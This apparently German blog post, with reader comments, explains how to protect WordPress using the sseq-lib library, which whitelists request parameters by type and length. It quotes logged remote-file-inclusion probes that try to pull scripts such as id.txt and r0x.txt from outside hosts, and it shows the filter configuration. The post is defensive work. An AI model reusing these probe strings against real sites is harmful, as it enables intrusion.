(Unbekannte) WordPress-Schwachstellen absichern
Diese WordPress-Installation verwendet die sseq-lib Sicherheitsbibliothek zur Validierung von Eingangsvariablen im Vorfeld der Verarbeitung durch den WordPress-Kern oder angeschlossene Pugins.
Ist die Protokollierung eingeschaltet, werden damit solche Angriffsversuche fest gehalten:
- [_GET], cat: INT param not INT, 11 //index.php?str=http://www.********.**/components/id.txt????, GET, /index.php, libwww-perl/5.810,
- [_GET], paged: INT param not INT, 2/index.php?_REQUEST=, GET, /index.php, libwww-perl/5.810,
- [_GET], p: INT param not INT, /tikiwiki/tiki-graph_formula.php?w=1, GET, /index.php, libwww-perl/5.79,
- [_GET], m: INT param not INT, 200803/\“upload.php?file=\“http://***.*****.**/album/PhotoAlbum/galeri/album1212/id.txt???, GET, /index.php, libwww-perl/5.79,
- [_GET], p: INT param not INT, 30//lib/header.php?DOC_ROOT=http://www.gosgo.com/bbs/idr.txt??, GET, /index.php, Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4,
- [_GET], page_id: INT param not INT, 145//include/install.phphttp://www.ekorea.net/forum//include/r0x.txt???, GET, /index.php, libwww-perl/5.811,
Dank der Typenprüfung werden solche Angriffe abgewehrt noch bevor sie etwaige Schwachstellen innerhalb der Anwendung erreichen können. Da die Werte nicht dem erwarteten Typ oder Intervall entsprechen, werden sie nach der Überprüfung gelöscht.
Die zu prüfenden Variablennamen können mit einer Quellcodesichtung gewonnen werden oder aber mit Hilfe des Variablen-Protokolls aus sseq-lib. Ein solches Protokoll sieht dabei wie folgt aus:
<br />
[P] action=autosave<br />
[P] post_ID=223<br />
[P] post_title=SQL-Injections – eine Analyse an PHP & MySQL<br />
[P] autosavenonce=a59*****39<br />
[P] tags_input=creative commons,injection,mysql,PHP,schwachstelle,sql injection,webentwicklung,websicherheit<br />
[P] post_type=post<br />
[P] autosave=0<br />
[P] content=Den vollständigen 1. Teil des Dokumentes unter Creative Common-Lizenz als PDF-Datei herunterladen:<br />
[P] comment=Danke, du hast natürlich Recht!<br />
[P] submit=Kommentar absenden<br />
[P] comment_post_ID=223<br />
[P] _wp_unfiltered_html_comment=cfa*****6b<br />
[G] p=223<br />
[P] id=26<br />
[P] action=dim-comment<br />
[P] _ajax_nonce=b9*****83<br />
[G] comment_status=moderated<br />
[G] jax=planetnews<br />
Es ist die Quelle der Daten zu erkennen (P=POST, G=GET, C=COOKIE, S=SESSION), der Variablenname und der Wert. Aus einer Protokollierung über einige Zeit hinweg kann dabei eine Untermenge der möglichen Eingangsvariablen ermittelt werden mitsamt der zu erwartenden Wertetypen und -längen.
Aus den gewonnenen Daten kann bereits ein Vorfilter erzeugt werden, der die Daten validiert. Er sieht im Falle einer WordPress-Installation z.B. so aus:
<br />
// VARIABLE NAME # SOURCE # TYPE # MIN # MAX # XSS # SQL &<br />
$sanitizer = ‚ cat # pg # INT # 1 # 1000 # true # true &<br />
p # pg # INT # 1 # 1000 # true # true &<br />
page_id # pg # INT # 1 # 1000 # true # true &<br />
m # pg # INT # 1 # 1000000# true # true &<br />
attachment_id # pg # INT # 1 # 1000 # true # true &<br />
feed # pg # STR # 1 # 50 # true # true &<br />
author # p # STR # 1 # 30 # # true &<br />
email # p # STR # 1 # 100 # # true &<br />
url # p # STR # 1 # 100 # # true &<br />
message # p # STR # 1 # # # true &<br />
comment_post_ID # p # INT # 1 # 1000 # true # true &<br />
paged # pg # INT # 1 # 1000 # true # true &<br />
autosave # p # INT # 0 # 1 # # &<br />
post_ID # p # INT # 1 # 1000 # # true &<br />
action # p # STR # 1 # 100 # # true &<br />
autosavenonce # p # STR # 1 # 10 # # true &<br />
samplepermalinknonce# p # STR # 1 # 10 # # true &<br />
closedpostboxesnonce# p # STR # 1 # 10 # # true &<br />
getpermalinknonce # p # STR # 1 # 10 # # true &<br />
_ajax_nonce # p # STR # 1 # 10 # # true &<br />
post_type # p # STR # 1 # 10 # # true &<br />
post_author # p # INT # 1 # 30 # # true &<br />
comment_status # p # STR # 1 # 10 # # true &<br />
ping_status # p # STR # 1 # 10 # # true &<br />
‚;<br />
Um die Validierung einzuschalten, wird die Sicherheitsbibliothek zusammen mit dem Filter in die Datei „wp-load.php“ eingebunden.
<br />
define( ‚ABSPATH‘, dirname(__FILE__) . ‚/‘ );</p>
<p>error_reporting(E_ALL ^ E_NOTICE ^ E_USER_NOTICE);</p>
<p>include_once(ABSPATH . ’sseq-lib/seq_lib.php‘);</p>
<p>// VARIABLE NAME # SOURCE # TYPE # MIN # MAX # XSS # SQL &</p>
<p>$sanitizer = ‚ cat # pg # INT # 1 # 1000 # true # true &<br />
p # pg # INT # 1 # 1000 # true # true &<br />
page_id # pg # INT # 1 # 1000 # true # true &<br />
m # pg # INT # 1 # 1000000# true # true &<br />
attachment_id # pg # INT # 1 # 1000 # true # true &<br />
feed # pg # STR # 1 # 50 # true # true &<br />
author # p # STR # 1 # 30 # # true &<br />
email # p # STR # 1 # 100 # # true &<br />
url # p # STR # 1 # 100 # # true &<br />
message # p # STR # 1 # # # true &<br />
comment_post_ID # p # INT # 1 # 1000 # true # true &<br />
paged # pg # INT # 1 # 1000 # true # true &<br />
autosave # p # INT # 0 # 1 # # &<br />
post_ID # p # INT # 1 # 1000 # # true &<br />
action # p # STR # 1 # 100 # # true &<br />
autosavenonce # p # STR # 1 # 10 # # true &<br />
samplepermalinknonce# p # STR # 1 # 10 # # true &<br />
closedpostboxesnonce# p # STR # 1 # 10 # # true &<br />
getpermalinknonce # p # STR # 1 # 10 # # true &<br />
_ajax_nonce # p # STR # 1 # 10 # # true &<br />
post_type # p # STR # 1 # 10 # # true &<br />
post_author # p # INT # 1 # 30 # # true &<br />
comment_status # p # STR # 1 # 10 # # true &<br />
ping_status # p # STR # 1 # 10 # # true &<br />
‚;<br />
SEQ_SANITIZE($sanitizer);<br />
Ergänzt man diese Filterliste um weitere Parameter – die z.B. nach der Installation eines Plugins – so erreicht man mit der Zeit eine erhöhte Sicherheit, die für die eigene Installation angepasst ist. Durch die Validierung können auch Angriffe abgewehrt werden, die noch unbekannte Schwachstellen auszunutzen versuchen. Insbesondere ist man damit imstande, eine unbekannte Anwendung abzusichern, ohne den Quellcode verstehen oder ändern zu müssen.
Vielen Dank für die tolle Arbeit! Wie kann ich denn das Variablen-Protokoll erstellen lassen? Die Kommentare aus der Funktion SEQ_DATADUMP habe ich bereits entfernt und eine passende Datei angelegt, allerdings finde ich nicht die Stelle des Funktionsaufrufes. Danke!
Danke Patrick! Um die Protokollierung zu starten rufst Du SEQ_DATADUMP innerhalb Deiner Anwendung auf:
SEQ_DATADUMP();
Das klappt super, danke! Mir ist aufgefallen, dass in Deiner Liste noch der Variablenname s für die Suche fehlt.
Hast Du Dich schon einmal mit individuellen Permalinks beschäftigt? Wenn ich diese verwende, wird bekannterweise aus ?tag=test => /tag/test. Die Filterung über sseq-lib ist dann nicht mehr aktiv.
Nun bin ich bis zur WP-datei link-template.php in wp-includes vorgestoßen und suche nach einer Möglichkeit der Einbindung Deiner lib.
Hast Du einen Tipp? Danke!
Die Permalinks habe ich mir angeschaut, jedoch noch nicht die Stelle zum Abgreifen gefunden. Poste die Lösung, wenn du erfolgreich bist!